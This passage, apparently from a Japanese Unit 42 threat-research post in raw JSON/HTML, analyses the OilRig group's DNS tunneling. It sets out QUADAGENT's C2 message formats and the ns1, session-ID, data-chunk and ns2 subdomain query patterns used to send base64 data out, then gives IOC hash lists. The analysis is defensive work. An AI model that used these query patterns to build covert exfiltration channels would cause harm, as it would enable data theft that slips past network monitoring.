type[1]&gt;&lt;data&gt;<\/span><\/p>\n<p>\u30e1\u30c3\u30bb\u30fc\u30b8\u306f\u6587\u5b57\u5217'hello'\u3067\u59cb\u307e\u308a\u3001\u305d\u306e\u5f8c\u306b35\u6587\u5b57\u306eUUID\u6587\u5b57\u5217\u304c\u7d9a\u304d\u307e\u3059\u3002'type'\u30d5\u30a3\u30fc\u30eb\u30c9\u306f\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u51e6\u7406\u3059\u308b\u30b3\u30de\u30f3\u30c9\u3092\u6307\u5b9a\u3057\u307e\u3059\u3002\u65e2\u77e5\u306eQUADAGENT\u30b5\u30f3\u30d7\u30eb\u306f\u30011\u7a2e\u985e\u306e\u30b3\u30de\u30f3\u30c9\u3001'x'\u3057\u304b\u51e6\u7406\u3067\u304d\u307e\u305b\u3093\u3002'x'\u30b3\u30de\u30f3\u30c9\u306f\u3001\u6307\u5b9a\u3055\u308c\u305f\u30c7\u30fc\u30bf\u30d5\u30a3\u30fc\u30eb\u30c9\u3092\u73fe\u5728\u306ePowerShell\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u66f8\u304d\u8fbc\u3080PowerShell\u30b9\u30af\u30ea\u30d7\u30c8\u3068\u3057\u3066\u6271\u3044\u3001\u4e8b\u5b9f\u4e0a\u3001\u6700\u521d\u306ePowerShell\u30b9\u30af\u30ea\u30d7\u30c8\u30922\u6b21\u30da\u30a4\u30ed\u30fc\u30c9\u3067\u4e0a\u66f8\u304d\u3059\u308b\u3082\u306e\u3067\u3059\u3002<\/p>\n<p>\u305d\u306e\u5f8c\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u4e8c\u6b21PowerShell\u30da\u30a4\u30ed\u30fc\u30c9\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u306b\u6210\u529f\u3057\u305f\u3053\u3068\u3092C2\u306b\u901a\u77e5\u3057\u307e\u3059\u3002\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001C2\u306b\u9001\u4fe1\u3059\u308b\u6b21\u306e\u69cb\u9020\u3092\u6301\u3064\u6587\u5b57\u5217\u3092\u4f5c\u6210\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">bye&lt;char uuid[35]&gt;d<\/span><\/p>\n<p>QUADAGENT\u306f\u3001\u30c7\u30fc\u30bf\u306e\u6f0f\u51fa\u306e\u969b\u306b\u4f7f\u308f\u308c\u305f\u306e\u3068\u540c\u3058\u4e00\u9023\u306eDNS\u30af\u30a8\u30ea\u3092\u4f7f\u3063\u3066\u3001\u4e0a\u8a18\u306e\u6587\u5b57\u5217\u3092C2\u306b\u9001\u4fe1\u3057\u307e\u3059\u3002\u3053\u306e\u30b7\u30fc\u30b1\u30f3\u30b9\u306f\u3001\u6700\u521d\u306b\u6b21\u306e\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3059\u308bDNS\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u5f8c\u7d9a\u306eDNS\u30af\u30a8\u30ea\u3067\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3059\u308b\u3053\u3068\u3092C2\u306b\u901a\u77e5\u3059\u308b\u3053\u3068\u304b\u3089\u59cb\u307e\u308a\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">ns1.&lt;random number between 100000 and 999999&gt;.&lt;c2 name&gt;<\/span><\/p>\n<p>QUADAGENT\u306f\u6b21\u306b\u3001\u3069\u306e\u30db\u30b9\u30c8\u304c\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u3088\u3046\u3068\u3057\u3066\u3044\u308b\u304b\u3092C2\u306b\u901a\u77e5\u3059\u308b\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u542b\u3080\u3001\u6b21\u306e\u3088\u3046\u306b\u69cb\u6210\u3055\u308c\u305f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u89e3\u6c7a\u7528\u306e\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">&lt;session id&gt;.&lt;same random number between 100000 and 999999&gt;.&lt;c2 domain name&gt;<\/span><\/p>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u30e1\u30c3\u30bb\u30fc\u30b8\u309260\u30d0\u30a4\u30c8\u306e\u30c1\u30e3\u30f3\u30af\u306b\u5206\u5272\u3057\u307e\u3059\u3002\u3053\u306e\u30c1\u30e3\u30f3\u30af\u306f\u3001DNS\u30af\u30a8\u30ea\u3092\u4ecb\u3057\u3066C2\u306b\u9001\u4fe1\u3055\u308c\u3001\u6b21\u306e\u3088\u3046\u306a\u69cb\u9020\u306e\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">&lt;encoded\/encrypted data of message&gt;.&lt;same random number between 100000 and 999999&gt;.&lt;c2 name&gt;<\/span><\/p>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u6b21\u306e\u3088\u3046\u306b\u69cb\u6210\u3055\u308c\u305f\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3059\u308b\u305f\u3081\u306bDNS\u30af\u30a8\u30ea\u3092\u767a\u884c\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u30c7\u30fc\u30bf\u306e\u9001\u4fe1\u304c\u5b8c\u4e86\u3057\u305f\u3053\u3068\u3092C2\u306b\u901a\u77e5\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">ns2.&lt;same random number between 100000 and 999999&gt;.&lt;c2 name&gt;<\/span><\/p>\n<p>\u56f335\u306f\u3001\u30af\u30a8\u30ea\u5bfe\u8c61\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u3067\u3001QUADAGENT\u304cC2\u30b5\u30fc\u30d0\u30fc\u306bbase64\u30a8\u30f3\u30b3\u30fc\u30c9\u30c7\u30fc\u30bf\u3068\u3057\u3066\u30c7\u30fc\u30bf\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3059\u308b\u524d\u306b\u3001\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\"ns1\"\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u4f7f\u7528\u3057\u3066\u901a\u77e5\u30af\u30a8\u30ea\u3092\u9001\u4fe1\u3057\u3001\u305d\u306e\u5f8c\u306b\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u542b\u3080\u30af\u30a8\u30ea\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002\u6700\u5f8c\u306b\u3001QUADAGENT\u306f\"ns2\"\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306b\u5bfe\u3057\u3066\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u3001\u30c7\u30fc\u30bf\u306e\u9001\u4fe1\u304c\u5b8c\u4e86\u3057\u305f\u3053\u3068\u3092C2\u306b\u901a\u77e5\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101523\" aria-describedby=\"caption-attachment-101523\" style=\"width: 999px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101523 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-242.png\" alt=\"\u56f335 Wireshark\u3067\u8868\u793a\u3057\u305fQUADAGENT\u304c&quot;bye&quot;\u30e1\u30c3\u30bb\u30fc\u30b8\u3092C2\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3057\u3066\u3044\u308b\u69d8\u5b50\" width=\"999\" height=\"181\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-242.png 999w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-242-300x54.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-242-768x139.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-242-900x163.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-242-370x67.png 370w\" sizes=\"(max-width: 999px) 100vw, 999px\" \/><figcaption id=\"caption-attachment-101523\" class=\"wp-caption-text\">\u56f335 Wireshark\u3067\u8868\u793a\u3057\u305fQUADAGENT\u304c\"bye\"\u30e1\u30c3\u30bb\u30fc\u30b8\u3092C2\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3057\u3066\u3044\u308b\u69d8\u5b50<\/figcaption><\/figure>\n<h2>\u7d50\u8ad6<\/h2>\n<p>OilRig\u653b\u6483\u30b0\u30eb\u30fc\u30d7\u306f\u3001DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u3092\u3001C2\u30b5\u30fc\u30d0\u30fc\u3068\u30b0\u30eb\u30fc\u30d7\u3067\u5229\u7528\u3057\u3066\u3044\u308b\u30c4\u30fc\u30eb\u7fa4\u3068\u306e\u901a\u4fe1\u30c1\u30e3\u30cd\u30eb\u3068\u3057\u3066\u7e70\u308a\u8fd4\u3057\u4f7f\u7528\u3057\u3066\u304d\u307e\u3057\u305f\u3002<a href=\"https:\/\/unit42.paloaltonetworks.jp\/dns-tunneling-how-dns-can-be-abused-by-malicious-actors\/\">DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0: \u653b\u6483\u8005\u306fDNS\u3092\u3069\u3046\u60aa\u7528\u3059\u308b\u306e\u304b<\/a>\u3067\u3082\u8ff0\u3079\u305f\u3088\u3046\u306b\u3001\u3053\u306e\u8105\u5a01\u30b0\u30eb\u30fc\u30d7\u306fDNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u306b\u5229\u7528\u3059\u308b\u30e1\u30ea\u30c3\u30c8\u3092\u898b\u3044\u3060\u3057\u3066\u3044\u308b\u3088\u3046\u3067\u3059\u3002\u306a\u305c\u306a\u3089DNS\u306f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u5668\u3067\u3082\u307b\u307c\u666e\u904d\u7684\u306b\u8a31\u53ef\u3055\u308c\u3066\u3044\u308b\u305f\u3081\u3067\u3059\u3002DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u306e\u5927\u304d\u306a\u6b20\u70b9\u306e1\u3064\u306f\u3001\u30c4\u30fc\u30eb\u3068C2\u30b5\u30fc\u30d0\u30fc\u306e\u9593\u3067\u30c7\u30fc\u30bf\u3092\u3084\u308a\u53d6\u308a\u3059\u308b\u305f\u3081\u306b\u5927\u91cf\u306eDNS\u30af\u30a8\u30ea\u304c\u767a\u884c\u3055\u308c\u308b\u3053\u3068\u3067\u3059\u3002<\/p>\n<p>\u3059\u3079\u3066\u306eDNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u306f\u6a19\u6e96\u5316\u3055\u308c\u305fDNS\u30d7\u30ed\u30c8\u30b3\u30eb\u3092\u9075\u5b88\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u304c\u3001OilRig\u304c\u4f7f\u7528\u3059\u308b\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u306f\u3001\u52b9\u7387\u3084\u76ee\u7acb\u305f\u306a\u3055\u3068\u3044\u3046\u89b3\u70b9\u304b\u3089\u307f\u308c\u3070\u3059\u3079\u3066\u304c\u540c\u3058\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002\u3053\u308c\u3089\u306eDNS\u30c8\u30f3\u30cd\u30eb\u3092\u4f7f\u7528\u3057\u305f\u30c7\u30fc\u30bf\u8ee2\u9001\u3067\u306f\u3001\u7279\u5225\u306b\u7d30\u5de5\u3055\u308c\u305f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u304c\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u3067\u3088\u308a\u591a\u304f\u306e\u6587\u5b57\u3092\u30c7\u30fc\u30bf\u3068\u3057\u3066\u6307\u5b9a\u3059\u308b\u3053\u3068\u3067\u3001\u30af\u30a8\u30ea\u3054\u3068\u306b\u3088\u308a\u591a\u304f\u306e\u30c7\u30fc\u30bf\u3092\u8ee2\u9001\u3067\u304d\u307e\u3059\u3002\u307e\u305f\u3001\u3053\u308c\u3089\u306e\u30d7\u30ed\u30c8\u30b3\u30eb\u306b\u3064\u3044\u3066\u306f\u3001base64\u30a8\u30f3\u30b3\u30fc\u30c9\u30c7\u30fc\u30bf\u306e\u5404\u6587\u5b57\u306f0.75\u30d0\u30a4\u30c8\u306e\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3067\u304d\u308b\u306e\u306b\u5bfe\u3057\u3001base16\u30a8\u30f3\u30b3\u30fc\u30c9\u3067\u306f1\u30d0\u30a4\u30c8\u306e\u9001\u4fe1\u306b2\u6587\u5b57\u304c\u5fc5\u8981\u3067\u3042\u308b\u3053\u3068\u304b\u3089\u3001base64\u30a8\u30f3\u30b3\u30fc\u30c9\u306e\u65b9\u304cbase16\u3088\u308a\u3082\u52b9\u7387\u7684\u3067\u3042\u308b\u3053\u3068\u306f\u660e\u3089\u304b\u3067\u3059\u3002\u305f\u3060\u3057\u3001\u3069\u306e\u3088\u3046\u306a\u30a8\u30f3\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u3092\u4f7f\u3046\u304b\u306b\u304b\u304b\u308f\u3089\u305a\u3001\u30c7\u30fc\u30bf\u9001\u4fe1\u306e\u305f\u3081\u306b\u3053\u308c\u3089\u306e\u30c8\u30f3\u30cd\u30eb\u306e\u3044\u304f\u3064\u304b\u3067\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u975e\u5e38\u306b\u9577\u3044\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306f\u3001\u6b63\u898f\u306eDNS\u30af\u30a8\u30ea\u306e\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u306e\u30d5\u30ea\u3092\u3059\u308b\u3053\u3068\u304c\u96e3\u3057\u3044\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u3002<\/p>\n<p>DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u653b\u6483\u306b\u5bfe\u3059\u308b\u4fdd\u8b77\u306b\u3064\u3044\u3066\u3054\u8208\u5473\u3092\u304a\u6301\u3061\u306e\u5f0a\u793e\u306e\u304a\u5ba2\u69d8\u306f\u3001<a href=\"https:\/\/www.paloaltonetworks.jp\/products\/threat-detection-and-prevention\/dns-security\">DNS Security\u30b5\u30fc\u30d3\u30b9<\/a>\u306b\u3064\u3044\u3066\u8abf\u3079\u308b\u3053\u3068\u3092\u304a\u52e7\u3081\u3057\u307e\u3059\u3002\u3053\u306e\u30b5\u30fc\u30d3\u30b9\u306b\u306f\u3001DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u653b\u6483\u3092\u8b58\u5225\u3057\u3001\u906e\u65ad\u3059\u308b\u305f\u3081\u306e\u9ad8\u5ea6\u306a\u6280\u8853\u304c\u4f7f\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306f\u672c\u7a3f\u3067\u898b\u3064\u304b\u3063\u305f\u30d5\u30a1\u30a4\u30eb\u30b5\u30f3\u30d7\u30eb\u3084\u4fb5\u5bb3\u306e\u5146\u5019\u306a\u3069\u3092\u3075\u304f\u3080\u8abf\u67fb\u7d50\u679c\u3092Cyber Threat Alliance(CTA \u30b5\u30a4\u30d0\u30fc\u8105\u5a01\u30a2\u30e9\u30a4\u30a2\u30f3\u30b9)\u306e\u30e1\u30f3\u30d0\u30fc\u3068\u5171\u6709\u3057\u307e\u3057\u305f\u3002CTA \u306e\u30e1\u30f3\u30d0\u30fc\u306f\u3053\u306e\u30a4\u30f3\u30c6\u30ea\u30b8\u30a7\u30f3\u30b9\u3092\u4f7f\u7528\u3057\u3066\u3001\u304a\u5ba2\u69d8\u306b\u4fdd\u8b77\u3092\u8fc5\u901f\u306b\u63d0\u4f9b\u3057\u3001\u60aa\u610f\u306e\u3042\u308b\u30b5\u30a4\u30d0\u30fc\u653b\u6483\u8005\u3092\u4f53\u7cfb\u7684\u306b\u963b\u5bb3\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002Cyber Threat Alliance\u306e\u8a73\u7d30\u306b\u3064\u3044\u3066\u306f\u3001www.cyberthreatalliance.org \u306eWeb\u30b5\u30a4\u30c8\u3092\u3054\u89a7\u304f\u3060\u3055\u3044\u3002<\/p>\n<h2>IOC<\/h2>\n<p>\u30b5\u30f3\u30d7\u30eb\u306e\u5b8c\u5168\u306a\u30ea\u30b9\u30c8\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u304c\u3001\u3053\u306e\u30d6\u30ed\u30b0\u3067\u8aac\u660e\u3057\u3066\u3044\u308b\u3055\u307e\u3056\u307e\u306a\u30c4\u30fc\u30eb\u306b\u3064\u3044\u3066\u306f\u3001\u4ee5\u4e0b\u306eSHA256\u30cf\u30c3\u30b7\u30e5\u3092\u53c2\u7167\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n<h3>Helminth<\/h3>\n<ul>\n<li>662c53e69b66d62a4822e666031fd441bbdfa741e20d4511c6741ec3cb02475f<\/li>\n<li>089bf971e8839db818ac462f53f82daed523c413bfc2e01fb76dd70b37162afe<\/li>\n<li>d808f3109822c185f1d8e1bf7ef7781c219dc56f5906478651748f0ace489d34<\/li>\n<li>1b2fee00d28782076178a63e669d2306c37ba0c417708d4dc1f751765c3f94e1<\/li>\n<li>0ec288ac8c4aa045a45526c2939dbd843391c9c75fa4a3bcc0a6d7dc692fdcd1<\/li>\n<li>3986d54b00647b507b2afd708b7a1ce4c37027fb77d67c6bc3c20c3ac1a88ca4<\/li>\n<li>f5a64de9087b138608ccf036b067d91a47302259269fb05b3349964ca4060e7e<\/li>\n<li>4b5112f0fb64825b879b01d686e8f4d43521252a3b4f4026c9d1d76d3f15b281<\/li>\n<\/ul>\n<h3>ISMAgent<\/h3>\n<ul>\n<li>a9f1375da973b229eb649dc3c07484ae7513032b79665efe78c0e55a6e716821<\/li>\n<li>52366b9ab2eb1d77ca6719a40f4779eb302dca97a832bd447abf10512dc51ed9<\/li>\n<\/ul>\n<h3>ALMA dash<\/h3>\n<ul>\n<li>f37b1bbf5a07759f10e0298b861b354cee13f325bc76fbddfaacd1ea7505e111<\/li>\n<\/ul>\n<h3>ALMA dot<\/h3>\n<ul>\n<li>e52b8b0e8225befec156b355b3022faf5617542b82aa54f9f42088aa05a4ec49<\/li>\n<\/ul>\n<h3>\u30aa\u30ea\u30b8\u30ca\u30eb\u306e BONDUPDATER<\/h3>\n<ul>\n<li>de620a0511d14a2fbc9b225ebfda550973d956ab4dec7e460a42e9d2d3cf0588<\/li>\n<\/ul>\n<h3>\u66f4\u65b0\u3055\u308c\u305f BONDUPDATER<\/h3>\n<ul>\n<li>d5c1822a36f2e7107d0d4c005c26978d00bcb34a587bd9ccf11ae7761ec73fb7<\/li>\n<li>7cbad6b3f505a199d6766a86b41ed23786bbb99dab9cae6c18936afdc2512f00<\/li>\n<\/ul>\n<h3>QUADAGENT<\/h3>\n<ul>\n<li>1f6369b42a76d02f32558912b57ede4f5ff0a90b18d3b96a4fe24120fa2c300c<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6982\u8981 3\u670815\u65e5\u306bUnit 42\u306fDNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0: 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